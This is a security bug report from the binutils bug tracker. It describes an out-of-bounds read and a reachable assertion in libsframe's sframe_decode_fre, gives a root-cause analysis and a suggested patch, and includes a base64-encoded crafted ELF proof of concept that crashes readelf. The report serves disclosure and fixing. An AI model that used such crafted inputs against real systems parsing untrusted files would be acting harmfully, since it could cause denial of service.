https://sourceware.org/bugzilla/show_bug.cgi?id=34563
Bug ID: 34563
Summary: Out-of-Bounds Read / Reachable Assertion in
sframe_decode_fre
Product: binutils
Version: 2.45
Status: UNCONFIRMED
Severity: normal
Priority: P2
Component: binutils
Assignee: unassigned at sourceware dot org
Reporter: zhaohuanqdcn at gmail dot com
Target Milestone: ---
## Description
`sframe_decode_fre()` in `libsframe/sframe.c` decodes an SFrame Frame Row Entry
(FRE) straight out
of the on-disk buffer **without ever validating that the entry fits inside the
section**. The
number of stack-offset bytes it copies is derived from an attacker-controlled
`fre_info` byte:
```c
stack_offsets_sz = sframe_fre_offset_bytes_size (fre->fre_info);
stack_offsets = fre_buf + addr_size + sizeof (fre->fre_info);
memcpy (fre->fre_offsets, stack_offsets, stack_offsets_sz); /* no bounds
check on fre_buf */
```
The function receives no buffer length at all, so a truncated/crafted `.sframe`
section makes it
read past the end of the mapped section. A trailing `sframe_assert` catches the
resulting
inconsistency **only in builds with assertions enabled**; with `NDEBUG` the
check compiles away and
the bogus entry size propagates to the caller, which then walks further out of
bounds and
segfaults.
Both outcomes are reachable from `readelf -a -w --sframe` on an untrusted
object file.
## Summary
- **Type**: Out-of-bounds read (CWE-125) / reachable assertion (CWE-617)
- **Severity**: Medium
- **Risk**: Denial of service when inspecting an untrusted object file with
`readelf --sframe`.
With assertions enabled the process aborts; with `NDEBUG` it reads out of
bounds and crashes
(`SIGSEGV`), and the over-read data is used to compute the next FRE offset.
- **Affected**: `libsframe` (used by `readelf`, `objdump` and any consumer of
the SFrame decoder).
## How to Reproduce
**Build binutils with assertions enabled (the default for a source build):**
```bash
wget https://ftp.gnu.org/gnu/binutils/binutils-2.45.tar.gz
tar xzf binutils-2.45.tar.gz && cd binutils-2.45
./configure --disable-nls --disable-werror --disable-gdb --disable-ld
--disable-gold --disable-gprof
make -j4 all-binutils
```
**Create the PoC** (243-byte ELF, `sha1
af808de1e3495b09bbf9a97a624a4bda8801bee3`, carrying a
malformed `.sframe` section):
```bash
base64 -d > poc.elf <<'EOF'
f0VMRgEBAQAAAAAAAAAAAAEAAwABAAAAAAAAAAAAAAB7AAAAAAAAADQAAAAAACgAAwABAAAu
c2hzdHJ0YWIALnNmcmFtZQDi3gIAAwAAAAEAAAABAAAACAAAABwAAAAsAAAAAAAAABAAAAAA
AAAAAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAEAAAADAAAAAAAAAAAAAAA0AAAAEwAAAAAAAAAAAAAAAQAAAAAAAAALAAAA9v//bwAAAAAA
AAAARwAAADQAAAAAAAAAAAAAAAEAAAAAAAAA
EOF
```
**Trigger:**
```bash
$ ./binutils/readelf -a -w --sframe poc.elf
```
**Triggering Conditions:**
- A 32-bit ELF containing a section named `.sframe` whose SFrame payload is
malformed
(the FRE's `fre_info` byte disagrees with the bytes actually present).
- `readelf` must be asked to dump it — `--sframe` (with `-a -w` in the PoC).
**Output — assertions enabled (actual run, GNU readelf 2.45):**
```
readelf: Warning: [ 2]: Link field (0) should index a symtab section.
readelf: sframe.c:872: sframe_decode_fre: Assertion `fre_size == (addr_size +
sizeof (fre->fre_info) + stack_offsets_sz)' failed.
```
```
$ ./binutils/readelf -a -w --sframe poc.elf ; echo "exit=$?"
Aborted (core dumped)
exit=134 # 128 + SIGABRT
```
**Output — assertions disabled (`-DNDEBUG`, as in a hardened/instrumented
build):**
```
readelf: Warning: [ 2]: Link field (0) should index a symtab section.
Segmentation fault (core dumped)
exit=139 # 128 + SIGSEGV
```
The second behaviour is the important one: with the assertion compiled out, the
same input is no
longer a clean abort but an out-of-bounds access.
## Root Cause Analysis
**Buggy code — `libsframe/sframe.c:842-877` (binutils 2.45):**
```c
static int
sframe_decode_fre (const char *fre_buf, sframe_frame_row_entry *fre,
uint32_t fre_type, size_t *esz)
{
...
if (fre_buf == NULL || fre == NULL || esz == NULL)
return sframe_set_errno (&err, SFRAME_ERR_INVAL);
/* Copy over the FRE start address. */
sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr, fre_type);
/* [1] */
addr_size = sframe_fre_start_addr_size (fre_type);
fre->fre_info = *(uint8_t *)(fre_buf + addr_size);
/* [2] */
...
stack_offsets_sz = sframe_fre_offset_bytes_size (fre->fre_info);
stack_offsets = fre_buf + addr_size + sizeof (fre->fre_info);
memcpy (fre->fre_offsets, stack_offsets, stack_offsets_sz);
/* [3] */
/* The FRE has been decoded. Use it to perform one last sanity check. */
fre_size = sframe_fre_entry_size (fre, fre_type);
sframe_assert (fre_size == (addr_size + sizeof (fre->fre_info)
+ stack_offsets_sz));
/* [4] line 872 */
*esz = fre_size;
return 0;
}
```
Three defects compound here:
1. **`[1]`** — the return value of `sframe_decode_fre_start_address()` is
discarded, so an invalid
`fre_type` (which makes it return `SFRAME_ERR_INVAL`) is silently ignored
and
`fre->fre_start_addr` is left undefined.
2. **`[2]`/`[3]`** — `sframe_decode_fre()` is never told how many bytes
`fre_buf` actually has. It
reads `fre_info` and then `memcpy`s `stack_offsets_sz` bytes — a size
decoded from that very
`fre_info` byte — with **no check against the end of the `.sframe`
section**. This is the
out-of-bounds read.
3. **`[4]`** — the only consistency check is `sframe_assert`, i.e. an
`assert()`. It is a
*post-hoc* check (the OOB `memcpy` has already happened) and, being an
assertion, it is
**compiled out under `NDEBUG`**. That is exactly why the same PoC aborts on
a default source
build but segfaults on a release/instrumented build: with the assert gone,
the inconsistent
`fre_size` is written to `*esz`, and the callers (`sframe.c:1191`,
`sframe.c:1325`) advance the
FRE cursor by that bogus size and keep decoding past the section.
An assertion is the wrong tool here: `sframe_decode_fre` already has an error
channel
(`sframe_set_errno` / `SFRAME_ERR_INVAL`) and its callers already check the
return value.
Malformed *input data* should produce an error, not an abort — and certainly
not an OOB.
## Suggested Fix
Turn the post-hoc assertion into a real error return, and stop ignoring the
start-address decode
error. (A complete fix also requires plumbing the remaining buffer length into
`sframe_decode_fre` so `[2]`/`[3]` can be bounds-checked *before* the reads —
the function
currently has no way to know where the section ends.)
```diff
--- a/libsframe/sframe.c
+++ b/libsframe/sframe.c
@@ sframe_decode_fre (const char *fre_buf, sframe_frame_row_entry *fre,
if (fre_buf == NULL || fre == NULL || esz == NULL)
return sframe_set_errno (&err, SFRAME_ERR_INVAL);
/* Copy over the FRE start address. */
- sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr, fre_type);
+ if (sframe_decode_fre_start_address (fre_buf, &fre->fre_start_addr,
fre_type))
+ return sframe_set_errno (&err, SFRAME_ERR_INVAL);
addr_size = sframe_fre_start_addr_size (fre_type);
fre->fre_info = *(uint8_t *)(fre_buf + addr_size);
@@
- /* The FRE has been decoded. Use it to perform one last sanity check. */
+ /* The FRE has been decoded. Use it to perform one last sanity check.
+ Malformed input must yield an error, not an assertion failure: the check
+ must survive -DNDEBUG, otherwise the inconsistent size below is handed to
+ the caller and the FRE cursor walks off the end of the section. */
fre_size = sframe_fre_entry_size (fre, fre_type);
- sframe_assert (fre_size == (addr_size + sizeof (fre->fre_info)
- + stack_offsets_sz));
+ if (fre_size != (addr_size + sizeof (fre->fre_info) + stack_offsets_sz))
+ return sframe_set_errno (&err, SFRAME_ERR_INVAL);
*esz = fre_size;
return 0;
}
```
--
You are receiving this mail because:
You are on the CC list for the bug.
